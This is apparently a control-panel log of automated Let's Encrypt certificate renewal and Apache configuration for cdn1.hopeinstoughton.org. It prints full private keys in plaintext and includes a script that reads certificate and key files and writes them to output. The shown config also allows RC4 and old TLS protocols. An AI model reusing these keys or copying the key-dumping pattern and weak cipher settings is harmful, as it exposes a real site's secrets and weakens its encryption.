hwiTMjAiWZXr/e7j7I4VyQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-10 06:02:17: 

PUT: /tmp/pkp910444

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:02:18: 

chmod 755 /tmp/pkp910444; /tmp/pkp910444; rm /tmp/pkp910444

2026-03-10 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0	5360
14:bc:2d:63:7d:f7:cc:d5:23:75:4f:6e:ac:90:fa:9a

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBiySZoNefqXrB2xzlatBVXUcMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzEwMDUwMzM3WhcNMjYwNjA4MDUwMzM2WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC+NX6AUnUMt0+fpUgcpGnTRftxdUZuWtJiMuQRr6yT8GzcfUzm
k5VChuIpmc5XwOjZTNP1eXbRv3xxbvcTaP/XPQg2HAIWRwsV4mA7Tzf24kyI+brI
pL29IWWTANcbmr+N39KTglDfM0ctUBYZxzPr97BqipHfm5dBZSXLlbOmefLOQhpg
ttCaDxdoDTpI6EIL2DMoD0bXfPc3dHH/QtbhODTx5xif4jMI9XowLH4Sj0zQd1AC
UTrN9puO1WYd5XrfFJ1VG2YGSrfHhzt35Q90nqXqvpMVSlvD1k3k1DeEHBgQCzA/
IvvulNt47rIQyRxC75hMwZbqmxoRfujOiJq1AgMBAAGjggIfMIICGzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU74UZsvMj7wWqQ7F0HyZkwBZpdrwwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4zLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8yOS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdgBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZzWVp+oAAAE
AwBHMEUCIQDFdc841C8Ibk7+VcfcEtqA38CJRypSFzA9A7K56llVTgIgW+gFp4M6
oqtkAFV4tr7x/SGiN/fUxL5k7KnsbbFaEAQAdwAOV5S8866pPjMbLJkHs/eQ35vC
PXEyJd0hqSWsYcVOIQAAAZzWVp/EAAAEAwBIMEYCIQD8arInFCQCH0Ww7s5Y7omn
nPUl9TqRh2uwNwF2iezsZgIhAIsHjW/ENDPLsTvH4JJd/DsTrwgr4lOOOppW7ErG
OFDhMA0GCSqGSIb3DQEBCwUAA4IBAQAvULbLNTw/q7MImYSTlOFDG9C7aLjw8Ype
IFJOC7SuOk7Nh1aOCzDv6/2Rza+CqJLMy2uwI3Slr2MTzbxN7qy7s1LaSoNaNM62
Y73ooELkNtOsRtPRNK3UWhbVB8qVh6mmN4AfjdP3ic8M2EgKXrI0EYb8PtJlU70A
rMzzDMO7fBBSmL+4IxnmmIHgkSqhUiL1C13wyuQVwH6bzA6RRE5IncDwwt5/UOU5
r1hQQsQPpNvpGJFkFspvElceD8BXFny6jgdhnaB5t2ZewJnvdNHvYqfhCfg6cU31
wFkpYO2h3a8xQNBpR5t5XsJnT+lwn3+NlkJDLgYWwqwZ1PWDhZKX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC+NX6AUnUMt0+f
pUgcpGnTRftxdUZuWtJiMuQRr6yT8GzcfUzmk5VChuIpmc5XwOjZTNP1eXbRv3xx
bvcTaP/XPQg2HAIWRwsV4mA7Tzf24kyI+brIpL29IWWTANcbmr+N39KTglDfM0ct
UBYZxzPr97BqipHfm5dBZSXLlbOmefLOQhpgttCaDxdoDTpI6EIL2DMoD0bXfPc3
dHH/QtbhODTx5xif4jMI9XowLH4Sj0zQd1ACUTrN9puO1WYd5XrfFJ1VG2YGSrfH
hzt35Q90nqXqvpMVSlvD1k3k1DeEHBgQCzA/IvvulNt47rIQyRxC75hMwZbqmxoR
fujOiJq1AgMBAAECggEAGeMe8ekHDDGAsTol+9v2mS4LoC/1Y3yR6JKDjtKpesL8
le+pwTHx3QmNi1rnBfN33WdC68RZwwc8MRYIo4glVc51KSQbtpt5q0NRlJDeDYhU
IUpXvQoK1sxOTjkNjbC8hFsjhjb0ucP5WnXtZBnD+8gMpxtv6g57ggd5ouEff7ca
FURU/SQ/gqLAY8iDgMh9mxey2f+v1htjHTpbpN5OTi64WuFPP665Hd2dpUGd8G8/
5P1rBaQk5H8LqcyhTxc7ub+84i+5jJYa8vXnzUDPVwiZuWHIUdRb0vMA8qmIx1u7
mVEsCxW2fRkt+4VW7KEwsxTBqK/oB4L0dmRfoICuEQKBgQDk0SKP2Kd4UUd+45+b
FZ2bm6EYnzCzScrOc2AcLgLUvvQKX9SLgEoXpzGOK03XaAW1DeHH9qR3NBs9alTl
lq8+7z4yXxWIgARdqYRPeeoq87u9zgFKBwaG4a+kO4yOgnBnRCN4GrVD7M0Ijk0H
mGba50nsPWtWfB0lBpqa2+ow6QKBgQDUzjMB7deAnN3Wo9R+Mymh9WTtOWUTItXJ
DwEuTcHRlg90neDWT8UWYqX8f0XMIlD8FAAVimZqo0IgrvoFCPuhsoTCW7VAWRhB
xtmkXSKyzCvUNWEQEPyIkpFRt1RkDhkSbAzDHPV8zUgD6wJ9p35UdxYz1RYG0P6u
wf7d6pLb7QKBgECnb1Kh70AqBz+tZa3Wf8A2S2C/qm0ejrWjGCceQSKICkDcLxxz
1Xu1fGUli0swU1yDXaa45GPiT0gdQXvWBhKMW1C0WUtGkPU+LuqeEjKsyAGrseWO
8qMuJgkL4n1qEgS71iHbuhhFUvH184IP6BA2hkbAXBIF495QbWMQfK3xAoGATkCA
qy3td8K3JG1b/wgLQB3/fegEDdRabrOQyJkZM1uN1WEUw1nT7FZcGQwn+1eHFhq4
qTMaVA4yi9gr4dwaw6vke5/Dd6ULcWyQrYr97md7mm4Cgijs47+ZpkXWx3ATsh1/
V+P3NWw7Fg29/bywjJi51ld94QXLETIO6UWPuUUCgYBqBbe8zfHMto6k7Uf0V4fb
EgEPaqnND16kgBv0rfpc9pfoYmaUiMvSPNacHIs4riuBeYT7pOsBNyPEjrEIDsHZ
58Sr3Oii296/I9J4EyEg9yYD+5KZFoaQV6IxDznvxqjN4V/kZdQC7YG3H/che8fG
hwiTMjAiWZXr/e7j7I4VyQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-10 06:02:18: Establishing a connection
2026-03-10 06:02:18: Establishing a connection
2026-03-10 06:02:19: 

PUT: /tmp/pkp646609

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn1/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-10 06:02:19: 

chmod 755 /tmp/pkp646609; /tmp/pkp646609; rm /tmp/pkp646609

2026-03-10 06:02:19: 


1


2026-03-10 06:02:20: Establishing a connection
2026-03-10 06:02:20: 

PUT: /tmp/pkp914603

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cat > 5W0XC8BTX6qePVMXgsfz1GuBTwiSmtfDdkz5r8oLFi0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5W0XC8BTX6qePVMXgsfz1GuBTwiSmtfDdkz5r8oLFi0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5W0XC8BTX6qePVMXgsfz1GuBTwiSmtfDdkz5r8oLFi0


2026-03-10 06:02:20: 

chmod 755 /tmp/pkp914603; /tmp/pkp914603; rm /tmp/pkp914603

2026-03-10 06:02:20: 




2026-03-10 06:02:25: Establishing a connection
2026-03-10 06:02:25: 

PUT: /tmp/pkp822640

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
rm 5W0XC8BTX6qePVMXgsfz1GuBTwiSmtfDdkz5r8oLFi0


2026-03-10 06:02:25: 

chmod 755 /tmp/pkp822640; /tmp/pkp822640; rm /tmp/pkp822640

2026-03-10 06:02:25: 




2026-03-10 06:02:25: Establishing a connection
2026-03-10 06:02:26: 

PUT: /tmp/pkp606242

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0.crt

cat > $temp_file <<'endmsg'
9c:c6:3d:5a:71:06:85:50:9c:27:b0:a7:6f:92:ef:34

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBmXejPCtIp3Kwuq5c+rqoli6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzEwMDUwMzUzWhcNMjYwNjA4MDUwMzUyWjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDO027+ycgOrShBo4fbNOSccmGJfsYngXEhvDRYexoXBqRDusxg
UxMW0q9jgUKkiUpiskpf/9+eQUUPDzyIlhj2GsMcRJV5JKeWIqA6O/pwlCyZymzB
KMLoBgFh1kfIZLDaqre9j14xAXdG0gOPgMP9NPDHcsFNff75sYr+nNknLB2Q/RxM
7H7SiNI8svam7tbolEIH3vupLwdXNPwt2KtOk6+/TOsRfqMKMDRVcdJMVDhfliWE
niXoNR9d/EBAeI69NVOGU0cTjifH8IfoIqd6Njwsx+X0Sp/kDuMaEMNzqYXerLC9
VEA4Zr5m8dE5xu6O3H+uuQAOGs+PkUBv0YHDAgMBAAGjggImMIICIjAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUZQxUZODmFJTlJNCMUsscZXNbvFwwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4xLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy81OS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAfQDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZzWVt+kAAgA
AAUANRgX9QQDAEYwRAIgcb+Vkjv7G5mcZUhUr6mFZJIx+4b70o+lz21yeM82daIC
IGeZxBgiGpyWrtXRQi+YCMlN7hjoAsxwrpWEhtMDaX6bAHcAZBHEbKQS7KeJHKIC
LgC8q08oB9QeNSer6v7VA8l9zfAAAAGc1lbm5wAABAMASDBGAiEAn0lXIwkLhVwJ
VMeYINNTLPFjBgbhvS5f9wrZM5aicmICIQDf1ZzP3SZL9U7WzM8ew9yEJN0tzk8G
KVH4nrmG6zICnjANBgkqhkiG9w0BAQsFAAOCAQEAcUUHceoTqbXRzLSgyCWh7Rw6
+Coed1f26wkp3Gox/ZRkNjuTo28+JfLbzH/jNjvZxLWxx/XxyWGz29qIKjCo6oky
idMHkn2GYj5kWmlVafBJzgVMmNRcutbliAjgpV6F3weFr+y9T9blIs61x7KzWHBp
/19qVje1oRROuTW+AuNoKDpSWYoV4TDbp80t1qxWC98BpDGgf2emtIGCuRw8KAqO
NAOOmyJ0/+9HNXP4IW/mloFv/qyvTIVmXQ4PbhIJ7R8GZ/OCNTG6DSlxDbhClu17
t17uOMnOlvf6hNlXQ5BTxYgkthGP/nCyEYjWhZmfeBHy8Ro14m6Eg0bfIcHGRA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDO027+ycgOrShB
o4fbNOSccmGJfsYngXEhvDRYexoXBqRDusxgUxMW0q9jgUKkiUpiskpf/9+eQUUP
DzyIlhj2GsMcRJV5JKeWIqA6O/pwlCyZymzBKMLoBgFh1kfIZLDaqre9j14xAXdG
0gOPgMP9NPDHcsFNff75sYr+nNknLB2Q/RxM7H7SiNI8svam7tbolEIH3vupLwdX
NPwt2KtOk6+/TOsRfqMKMDRVcdJMVDhfliWEniXoNR9d/EBAeI69NVOGU0cTjifH
8IfoIqd6Njwsx+X0Sp/kDuMaEMNzqYXerLC9VEA4Zr5m8dE5xu6O3H+uuQAOGs+P
kUBv0YHDAgMBAAECggEACODzJKu9RqjQtjI/lJdEGFWhfq/BilQ4auFTqFfu7WQf
zLe9KrlspvZebyAcBnvNhK69gKEd+wMESu3PHguLgMa/VeK5cMNN3aUY42Cykv8M
nYGFT6ytr7Y3Fiy6IieO0nEXuC+3NG714Higv7O6AvZ92G7cG4G4K2uF8wFniEXj
Us/iTbbSB5U97uZDs4SjKjwlR0n5rk60vRAyY1gUJoVs56k9gUjuCJSpBR9ul397
eESIu0ZDSzQDcI5dMHbeP6c6ExUruFZIdu4uau7mj4SkWTTMm/d+i5NdODQbZZTa
HETTOqlUS3Ip6P692SuaC/msvI6RKfaWcJhHbGevyQKBgQD6QZEc9UDfrfiHMI3m
cL91xvHS+4p//rYo3prNmqd1QveEleg1gSsqL8bnI47all4D/LlKZhYmrRGdUGcO
fursiWC8kvsje7u3FKI0TLjCgWFX1BtwD7kfAKQvnrEPIUOad5j83SnEHKt09xnl
mUkalXB7SnO+p4ZlTIm8hQyxtQKBgQDTkq7r42gE1h7/BNjrlFUGWZ8hJ6jRdwH0
foXQISdSFuU3KjeiY6Uw+gzaPFiX1CDY0LWQr6XF2EF+1a0haT+RxrkLI4e1wStE
fqc2n9yOLlqADKUEEEWkNJvtxmnXSqQdM4aw2Mf2IeCdwT283U6HO5lpnAo1SWlp
VdX+xK/wlwKBgQDp9WRJ00ssEoO3N4BhwGRuImiv2zP3R1RbTwkgUIZfjRTD4jWt
161YCkSEkGycFFmelqVPVbM9wy0liiZeme7c5e4HPc4FtUaf+W1PQa61QKmVp5lj
IX/q6PmV/2D+iRWfklH3jHfgfQEaH20Zhj2e2bjHuqoMwqdVisF1+lkMxQKBgDJC
FetTCdKcSqCpth3ADrKDd5mYojGf44cAxyi5t214otqH3M9mfEc2Hvd4flMSwPrA
GWFVWDu3M1e9ynK1XbRzUGGk/wfd6zlKHM6NCwd7W2QvnMNqWiC3npLNHzdVM8b8
BnLcDCQbyA+xZ8kFiTH2pmq/9mzSE4hCK6NpdaHhAoGBALIm13K6xffaRboAcc0N
NgzofSRT4UB46U2LgLpfONYIHVTyyiW/9D5lKIQRb7x5cNsyWBmeiyWY1LYlytCt
h744UuO/mORqa9ExYmeNavd13EdzNvyAuc3U1K6hsTm+ZZtESWlfL+7zjQELb31z
54+M1BfYwjal5Dd5zy8p2fue
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-10 06:02:26: 

chmod 755 /tmp/pkp606242; /tmp/pkp606242; rm /tmp/pkp606242

2026-03-10 06:02:26: 


dir=/etc/ssl/certs


2026-03-10 06:02:26: 

PUT: /tmp/pkp437638

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-10 06:02:26: 

chmod 755 /tmp/pkp437638; /tmp/pkp437638; rm /tmp/pkp437638

2026-03-10 06:02:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 48

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
